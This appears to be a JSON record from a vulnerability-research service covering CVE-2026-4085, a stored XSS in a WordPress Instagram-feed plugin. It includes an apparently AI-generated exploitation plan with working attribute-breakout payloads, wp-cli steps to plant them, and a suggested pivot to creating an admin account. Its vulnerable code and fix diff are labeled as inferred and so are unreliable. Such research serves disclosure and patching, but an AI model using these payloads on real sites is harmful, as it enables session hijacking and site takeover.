[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f3hEyYchWBUn9GkivGjJM_ge7eKgYCa81c6dtOqPqmdA":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":31},"CVE-2026-4085","easy-social-photos-gallery-authenticated-contributor-stored-cross-site-scripting-via-wrapperclass-shortcode-attribute","Easy Social Photos Gallery \u003C= 3.1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'wrapper_class' Shortcode Attribute","The Easy Social Photos Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wrapper_class' shortcode attribute of the 'my-instagram-feed' shortcode in all versions up to, and including, 3.1.2. This is due to insufficient input sanitization and output escaping on user supplied attributes. Specifically, the plugin uses sanitize_text_field() instead of esc_attr() when outputting the 'wrapper_class' attribute inside a double-quoted HTML class attribute. Since sanitize_text_field() does not encode double quotes, an attacker can break out of the class attribute and inject arbitrary HTML event handlers. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","my-instagram-feed",null,"\u003C=3.1.2","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-21 19:06:46","2026-04-22 07:45:38",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F8640724c-0bd4-4684-9fd1-027f2af64e67?source=api-prod",[],"researched",false,3,"This research plan focuses on exploiting **CVE-2026-4085**, a Stored Cross-Site Scripting (XSS) vulnerability in the \"Easy Social Photos Gallery – MIF\" plugin. The vulnerability exists because the plugin fails to properly escape the `wrapper_class` attribute of the `[my-instagram-feed]` shortcode, using `sanitize_text_field()` instead of `esc_attr()` when rendering the attribute within HTML double quotes.\n\n---\n\n### 1. Vulnerability Summary\nThe **Easy Social Photos Gallery** plugin (slug: `my-instagram-feed`) is vulnerable to Stored XSS via the `wrapper_class` attribute in the `[my-instagram-feed]` shortcode. While `sanitize_text_field()` is used on the input, this function is designed to strip tags and line breaks but **does not encode double quotes**. Since the attribute is later output inside a double-quoted HTML attribute (e.g., `\u003Cdiv class=\"[wrapper_class]\">`), an attacker can provide a payload starting with a double quote to \"break out\" of the `class` attribute and inject event handlers (like `onmouseover`) or other HTML attributes.\n\n### 2. Attack Vector Analysis\n*   **Shortcode:** `[my-instagram-feed]`\n*   **Vulnerable Attribute:** `wrapper_class`\n*   **Endpoint:** WordPress Post\u002FPage Editor (`wp-admin\u002Fpost-new.php` or `wp-admin\u002Fpost.php`)\n*   **Authentication Level:** Authenticated (Contributor-level access or higher). Contributors can create posts and insert shortcodes, even if they cannot publish them.\n*   **Preconditions:** The plugin must be active. The attacker must have the ability to edit a post\u002Fpage and include the shortcode.\n\n### 3. Code Flow (Inferred)\n1.  **Registration:** The plugin registers the shortcode using `add_shortcode( 'my-instagram-feed', '...' )`.\n2.  **Parsing:** When a page containing the shortcode is viewed, WordPress calls the plugin's callback function.\n3.  **Processing:** Inside the callback, the attributes array (`$atts`) is processed, likely using `shortcode_atts()`.\n4.  **Sanitization (Vulnerable):** The `wrapper_class` attribute is sanitized using `sanitize_text_field( $atts['wrapper_class'] )`.\n5.  **Output (Sink):** The sanitized string is concatenated into an HTML string, specifically inside a `class` attribute:\n    ```php\n    \u002F\u002F Inferred vulnerable code\n    $wrapper_class = sanitize_text_field( $atts['wrapper_class'] );\n    $output = '\u003Cdiv class=\"' . $wrapper_class . '\">'; \n    ```\n6.  **Rendering:** Because double quotes were not escaped, the resulting HTML becomes:\n    `\u003Cdiv class=\"anyclass\" onmouseover=\"alert(1)\" style=\"display:block;width:100%;height:100px;background:red;\">`\n\n### 4. Nonce Acquisition Strategy\nThis vulnerability involves **Stored XSS via post content**. It does not typically require a plugin-specific AJAX nonce for the initial injection because the \"storage\" happens through the standard WordPress post-saving mechanism. \n\nTo inject the payload:\n1.  **Contributor Login:** The agent should authenticate as a Contributor.\n2.  **Standard Post Creation:** The agent can use `wp-cli` to create a post, bypassing the need for manual nonce handling in the browser for the injection phase.\n3.  **Alternative (Browser-based):** If using the browser, the agent must navigate to `wp-admin\u002Fpost-new.php` and capture the `_wpnonce` from the form if it intends to simulate a raw `POST` request to `post.php`.\n\n### 5. Exploitation Strategy\nThe goal is to inject an event handler into the shortcode that executes JavaScript when a user (specifically an Admin) views the page.\n\n1.  **Login as Contributor:** Use the `http_request` or `browser_navigate` tool to ensure session cookies for a contributor-level user are active.\n2.  **Create Malicious Post:** Use `wp-cli` to create a post containing the payload. This is more reliable than simulating multipart form data.\n    *   **Payload:** `[my-instagram-feed wrapper_class='\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>']` (Note: `sanitize_text_field` might strip `\u003Cscript>`, so an event-handler breakout is safer).\n    *   **Reliable Payload:** `[my-instagram-feed wrapper_class='x\" onmouseover=\"alert(1)\" style=\"width:100%;height:100px;background:red;display:block;\"']`\n3.  **Trigger the XSS:**\n    *   Navigate to the URL of the created post.\n    *   Use `browser_eval` to simulate a mouse movement over the injected `div` if an event handler was used.\n    *   Observe if the alert\u002Fpayload executes.\n\n### 6. Test Data Setup\n1.  **Install Plugin:** Ensure `my-instagram-feed` version 3.1.2 is installed and active.\n2.  **Create User:**\n    ```bash\n    wp user create attacker attacker@example.com --role=contributor --user_pass=password123\n    ```\n3.  **Inject via WP-CLI:**\n    ```bash\n    wp post create --post_type=post --post_status=publish --post_title=\"Social Feed\" \\\n    --post_content='[my-instagram-feed wrapper_class=\"\\\" onmouseover=\\\"alert(document.domain)\\\" style=\\\"width:100px;height:100px;background:blue;display:block;\\\"\"]' \\\n    --user=attacker\n    ```\n\n### 7. Expected Results\n1.  When the post is viewed, the HTML source should contain:\n    `\u003Cdiv class=\"\" onmouseover=\"alert(document.domain)\" style=\"width:100px;height:100px;background:blue;display:block;\" ...>`\n2.  The `sanitize_text_field` function will leave the `\"` characters intact.\n3.  Hovering over the blue box in the browser should trigger the JavaScript alert.\n\n### 8. Verification Steps\n1.  **Check Database:**\n    ```bash\n    wp db query \"SELECT post_content FROM wp_posts WHERE post_title='Social Feed'\"\n    ```\n2.  **Verify Rendered HTML:**\n    Use `http_request` to fetch the post URL and check for the unescaped `onmouseover` attribute.\n    ```bash\n    # Expected output contains:\n    # class=\"\" onmouseover=\"alert(document.domain)\"\n    ```\n3.  **Browser Execution:** Use `browser_navigate` to the post URL and check if `browser_eval(\"window.confirm_exploit = true\")` can be triggered via the XSS payload.\n\n### 9. Alternative Approaches\n*   **Autofocus Payload:** If `onmouseover` is difficult to trigger, use `onfocus` with `autofocus`:\n    `wrapper_class='x\" onfocus=\"alert(1)\" autofocus=\"true\" x=\"'`\n*   **Admin Dashboard XSS:** If the plugin displays the shortcode output in the admin dashboard (e.g., in a preview or settings page), the XSS could be used to target the administrator's session specifically to perform CSRF (e.g., creating a new admin user).\n*   **Attribute Injection:** If quotes are restricted in some environments (though not by `sanitize_text_field`), check if the output is unquoted: `\u003Cdiv class=$wrapper_class>`. If so, a simple space `wrapper_class='x onmouseover=alert(1)'` would suffice. (Unlikely in WordPress plugins which generally use quotes).","The Easy Social Photos Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wrapper_class' shortcode attribute due to improper output escaping. An authenticated attacker with contributor-level permissions can inject arbitrary JavaScript by breaking out of the double-quoted HTML class attribute using double quotes, which are not sanitized by the sanitize_text_field() function.","\u002F\u002F Inferred from plugin logic in version \u003C= 3.1.2\n\u002F\u002F File: my-instagram-feed.php or includes\u002Fshortcode-handler.php\n\n$wrapper_class = sanitize_text_field( $atts['wrapper_class'] );\n\n\u002F\u002F ...\n\n$output .= '\u003Cdiv class=\"' . $wrapper_class . '\">';","--- a\u002Fmy-instagram-feed\u002Fmy-instagram-feed.php\n+++ b\u002Fmy-instagram-feed\u002Fmy-instagram-feed.php\n@@ -XX,5 +XX,5 @@\n-    $wrapper_class = sanitize_text_field( $atts['wrapper_class'] );\n-    $output = '\u003Cdiv class=\"' . $wrapper_class . '\">';\n+    $wrapper_class = $atts['wrapper_class'];\n+    $output = '\u003Cdiv class=\"' . esc_attr( $wrapper_class ) . '\">';","1. Authenticate as a Contributor or higher role with permission to create posts.\n2. Create a new post and insert the [my-instagram-feed] shortcode with a malicious wrapper_class attribute.\n3. Use a payload such as: [my-instagram-feed wrapper_class='\" onmouseover=\"alert(document.domain)\" style=\"width:100px;height:100px;background:red;display:block;\"'].\n4. Because sanitize_text_field() does not encode double quotes, the payload effectively closes the 'class' attribute and injects a new 'onmouseover' attribute and CSS styling.\n5. Save the post and view the page; hovering over the injected div will trigger the JavaScript execution.","gemini-3-flash-preview","2026-04-27 13:59:48","2026-04-27 14:00:12",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmy-instagram-feed\u002Ftags"]